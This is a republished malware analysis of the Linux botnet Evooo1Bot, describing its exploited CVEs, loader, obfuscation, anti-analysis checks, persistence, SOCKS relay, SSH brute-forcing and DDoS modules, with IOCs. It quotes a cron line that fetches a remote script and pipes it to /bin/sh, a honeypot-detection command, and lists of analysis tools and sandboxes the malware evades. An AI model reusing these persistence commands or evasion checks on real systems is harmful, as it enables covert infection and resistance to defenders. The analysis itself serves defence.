X-Industry

FortiGuard Labs has been tracking a previously undocumented Linux botnet family, which we have named Evooo1Bot.  The name derives from the hardcoded string “evooo1” found in every binary.  While the malware reuses the DDoS engine from the publicly leaked Mirai source code, it extends the original framework with numerous capabilities, including encrypted C2 communications, an SSH brute-force scanner, a SOCKS relay module, a credential sniffer, and an integrated exploit arsenal targeting multiple known vulnerabilities.  Telemetry from its command-and-control infrastructure indicates that Evooo1Bot has been actively targeting Internet-facing devices since July 2026, exploiting multiple vulnerabilities across diverse regions. In this article, we provide a detailed analysis of Evooo1Bot’s modular architecture and operational features.[1]

Discovery - Evooo1Bot came to our attention through FortiGuard IPS telemetry.  Analysts observed active exploitation attempts targeting a range of edge devices, with all payload callbacks pointing to the same loader URL at 91.92.40[.]118/wget.sh.  The following vulnerabilities were observed being exploited across the captured traffic

CVE-2007-3010 Alcatel OmniPCX Enterprise Remote Code Execution Vulnerability

CVE-2016-6277 NETGEAR Multiple Routers Remote Code Execution Vulnerability

CVE-2018-14558 Tenda AC7, AC9, and AC10 Routers Command Injection Vulnerability

CVE-2019-14931 Mitsubishi Electric Europe B.V. ME-RTU devices and INEA ME-RTU devices remote Command Injection vulnerability

CVE-2020-10987 Tenda AC1900 Router AC15 Model Remote Code Execution Vulnerability

CVE-2021-46422 Telesquare SDT-CW3B1 Command Injection Vulnerability

CVE-2022-37055 D-Link Routers Buffer Overflow Vulnerability

CVE-2024-29269, Telesquare TLR-2005KSH Command Injection Vulnerability

CVE-2025-10123, D-Link DIR-823X Command Injection Vulnerability

CVE-2025-55583 D-Link DIR-868L B1 router Command Injection Vulnerability

The loader script wget.sh downloads and executes a botnet binary that matches the host’s CPU architecture. Each exploitation attempt carries a campaign label embedded in the download command (for example, -s mitsu for Mitsubishi Electric targets and rep.alcatel for Alcatel-Lucent targets), indicating that the operator independently tracks per-vulnerability infection yield.

Figure 2: Payload in exploit pcap

Then the loader script wget.sh downloads 12 binary variants using wget, busybox wget, curl, or tftp, in that order.  The binary is written to a temporary path, made executable, and executed.  Bash history is cleared post-infection.
Figure 3: wget.sh

Basic Sample Identification - Static strings in Evooo1Bot are protected by a multi-layer pipeline applied at compile time.  The same decryption procedure handles more than 60 encrypted string blocks.  The AES and ChaCha20 keys are not stored directly in the binary.  Each key is split into two 32-byte constants embedded in .data and combined at runtime via XOR.
Figure 4: Encrypted string

Figure 5 Decrypted string

Another XOR decoding procedure is applied to a subset of strings in the .rodata section (0x43 in the i386 build).
Figure 6 XOR-encoded string

At startup, the binary checks for the presence of analysis tooling before continuing

Filesystem presence check strace, ltrace, gdb, lldb, valgrind, perf, radare2, r2, rizin, cutter, iaito, ghidra, ghidraRun, ida, ida64, idat, idat64, objdump, readelf, retdec-decompiler, wireshark, tshark, tcpdump, ngrep, ettercap, yara, ssdeep, binwalk, foremost, sysdig, bpftrace, auditd, ausearch, fatrace, inotifywait, lynis, rkhunter, chkrootkit, clamdscan, clamscan, volatility, vol.py, and gcore

Running process name check: gdb, lldb, strace, ltrace, radare2, r2, rizin, rr, valgrind, perf, ida, ida64, ghidra, sysdig, bpftrace, frida, and frida-server

Sandbox service name check: sandboxie, cuckoo, anubis, threatexpert, joebox, comodo, hybrid-analysis, cape-sandbox, fireeye, normanbox, and drakvuf.

VM and container environment fingerprints check VMware, VBox, VirtualBox, QEMU, firejail, bubblewrap, gvisor, kata, Cuckoo, JoeSandbox, CAPE, any.run, and hybrid-analysis.

Once the checks pass, it begins establishing a connection with the C2 server on port 443.  This port is chosen to blend in with expected HTTPS traffic at the network perimeter.  After checking in with the C2 server, it waits for further commands.

Functional Modules - Evooo1Bot includes multiple commands and can be separated into the following modules. (Note: This is based on the latest version. The earlier build supports all commands except !cve, !stopcve, and !cveall.)

The following sections provide further explanation of the “Persistence,” “SOCKS Relay,” “SSH Scanner,” “DDoS,” and “CVE Exploit” modules.

Persistence Mechanisms - The !persist command installs all mechanisms simultaneously.

systemd service sets up a unit file with “Description=Apache HTTPD Cache Manager” and “Restart=always.”

SysV init script installs in path /etc/init.d with the header “### BEGIN INIT INFO” with the downloading script “(wget -qO- <URL> || curl -sL <URL>) | /bin/sh > /dev/null 2>&1 &.”

Cron sets a scheduled task with an entry to download the script every 5 minutes

*/5 * * * * /bin/sh -c '(wget -qO- <URL> || curl -sL <URL>) | /bin/sh > /dev/null 2>&1 &'

Shell profile /etc/profile.d/ injection executed on login.

rc.local appends a script to download the script in “/etc/rc.local.”

To resist termination, the binary writes to /proc/self/oom_score_adj to reduce the OOM-killer’s priority and keeps /dev/watchdog open to prevent a device reboot from interrupting the operation.

SOCKS relay - Unlike typical botnet commands that focus on downloading payloads or launching attacks, the ! socks module turns an infected host into a SOCKS5 proxy that the operator can use as a network relay.  It supports two operating modes. In direct mode, it opens a SOCKS5 listener on the infected host on the default TCP port 1080 and waits for incoming client connections.  The implementation first attempts to create a dual-stack IPv6 listener and falls back to IPv4 if that fails.  Each accepted client is then passed to the session handler for proxying.
Figure 7: SOCKS relay

The botnet also implements a reverse relay mode.  Instead of exposing a listening port, the bot establishes an outbound encrypted connection to an operator-specified relay server.  This persistent control channel listens for commands such as RELAY_NEW<session_id>, which indicate that a new proxy session should be created.

Upon receiving the request, the bot opens a second encrypted connection to the same relay server, registers it using RELAY_DATA<session_id>, and hands the connection to the SOCKS5 proxy routine.  This architecture separates session control from proxy traffic, allowing multiple sessions to run independently while maintaining a stable control connection.

This capability significantly increases an infected host's value to attackers.  The victim's IP address can disguise malicious traffic, bypass geographic restrictions, or provide access to internal networks through an already compromised machine.  In larger botnets, the same functionality could also be used to build a distributed proxy infrastructure, enabling anonymous traffic forwarding or monetization through residential and enterprise proxy services.

SSH Brute-Force - Before starting the scanner, it performs two honeypot checks at different stages of the connection.  The first check occurs during the protocol handshake, before any credentials are submitted.  The scanner compares the target's SSH banner against a hardcoded list shown in the table below. A match on any entry causes the target to be silently skipped without logging or further interaction.

The second check runs after a successful login, before the persistence payload is delivered.  The scanner issues the following command over the established session

cat /proc/version 2>/dev/null; echo ---; cat /proc/1/cmdline 2>/dev/null; ls /opt/cowrie /home/cowrie /home/kippo 2>/dev/null

The version output is checked for the substring Linux version.  If it is absent, it indicates an emulated or non-standard environment and causes the target to be skipped.  The ls command detects two honeypot families: Cowrie and Kippo. If it finds any indicator, the scanner abandons the target.  Only hosts that pass all three conditions proceed to payload delivery.

The two checks are complementary rather than redundant.  The banner check filters out honeypots that announce themselves through their SSH implementation identifier.  The post-login probe targets honeypots that present a plausible SSH banner but expose themselves through the underlying host’s file system layout. Targets that pass both checks proceed to payload delivery.

Then the built-in SSH scanner uses an SSH client implementation with the banner “SSH-2.0-OpenSSH_9.7p1.”  The embedded credential dictionary contains over 150 entries. Beyond typical IoT default credentials, the list includes service account names (jenkins, postgres, oracle, nagios, deploy) that are more common in enterprise and operations-technology environments than on consumer routers.
Figure 8: Hard-coded credential

DDoS Attack Method - The DDoS engine is structurally consistent with the publicly leaked Mirai source code.  The HTTP flood variant (triggered by the http method key in the !attack parameter string) supports operator-specified METHOD, HEADER, and EXPECT values and constructs requests with a customizable User-Agent and Content-Length.

CVE Exploit Module - The exploit module contains a plaintext CVE table embedded in the binary, with each entry mapping a CVE identifier to one or more HTTP request strings.  It provides the payload host at runtime via !cve <url> or !cveall <url> and substitutes it into the wget delivery command. All exploit entries use the same delivery method.  The tables below list the vulnerabilities and URI paths extracted from the botnet.

The botnet contains some entries with implementation errors that prevent successful exploitation.  In each case, the code does not replicate the actual attack vector. Either the vulnerability type is incompatible with command injection, or the target has no exposed interface that matches the request.  These are non-exploitable as shipped. Take CVE-2023-34362 as an example.  This vulnerability targets MOVEit Transfer. It has been reported that after exploitation, the threat actors deploy a web shell with filenames such as “human2.aspx.”  However, this exploit module doesn’t execute the file upload procedure but only passes a payload argument to “human2.aspx.”
Figure 9: Payload for CVE-2023-34362

Conclusion - Evooo1Bot is a Linux botnet family that incorporates the Mirai DDoS engine into a significantly more capable and modular framework.  Beyond traditional botnet functionality, it features encrypted C2 communications, multiple layers of string obfuscation using AES-256-CTR, ChaCha20, and XOR-based key derivation, as well as a 28-command remote administration interface.  These capabilities place Evooo1Bot well beyond the technical baseline of conventional Mirai-derived malware.

Beyond its attack modules, Evooo1Bot includes an integrated exploit arsenal targeting multiple known vulnerabilities across IoT devices, networking equipment, and enterprise applications.  Among its capabilities, the reverse SOCKS relay module is arguably the most operationally significant.  By turning a compromised router, firewall, IP camera, or other edge device into a persistent proxy, the malware lets attackers conceal their true origin, pivot into internal networks, and conduct follow-on operations through the victim's infrastructure.

Organizations should prioritize timely patching of Internet-facing devices and network appliances to reduce exposure to exploitation.  Regular firmware updates, continuous monitoring for suspicious outbound connections, and prompt remediation of vulnerable systems remain essential to minimizing the risk posed by botnets such as Evooo1Bot.

IOCs

IP

91.92.40[.]118

Hashes

f13cb360768363d3424e2192c7805b8c8015eb8706dbbbcdead6aed8cf390109
4c0886349e9d348569fffe1b7a31e474d514508bf0cd6f1e5dd99c2a73525e4d

This article is shared at no charge for educational and informational purposes only.

Red Sky Alliance is a Cyber Threat Analysis and Intelligence Service organization.  We provide indicators of compromise information (CTI) via a notification service (RedXray) or an analysis service (CTAC).  For questions, comments, or assistance, please contact the office directly at 1-844-492-7225 or feedback@redskyalliance.com    

• Reporting https//www.redskyalliance.org/
• Website https//www.redskyalliance.com/
• LinkedIn https//www.linkedin.com/company/64265941 

Weekly Cyber Intelligence Briefings
REDSHORTS - Weekly Cyber Intelligence Briefings
https//register.gotowebinar.com/register/5207428251321676122

[1] https://www.fortinet.com/blog/threat-research/multi-functional-linux-botnet-evooo1bot/